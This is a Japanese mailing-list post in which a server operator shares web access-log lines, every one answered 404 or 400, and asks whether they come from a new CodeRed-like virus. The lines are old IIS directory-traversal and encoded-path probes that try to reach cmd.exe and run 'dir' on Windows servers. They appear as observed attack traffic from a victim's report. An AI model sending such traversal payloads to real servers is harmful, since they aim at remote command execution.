[connect24h:04653] CodeRed 関係だと思うのですが

[中村 新太郎 <leominor-ml@xxxxxxxxx>]

新太郎です。

今日の午後１０時過ぎくらいから以下のようなアクセスがきてます。

"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302

２台のサーバに、この他にもこれと似たアクセスが残っています。
複数のサーバからアクセスが来ているので、
新しいウイルスなのでしょうか？


     n n                           URL    : http://www.fbpro.com/
     ~v~ _v          中村 新太郎   E-mail : leominor-ml@xxxxxxxxx


------------------------------------------------------------------------
　　　　　　　　 ニュース速報！　はインフォシークで！！
　　　　 http://www.infoseek.co.jp/Home?pg=Home.html&svx=971122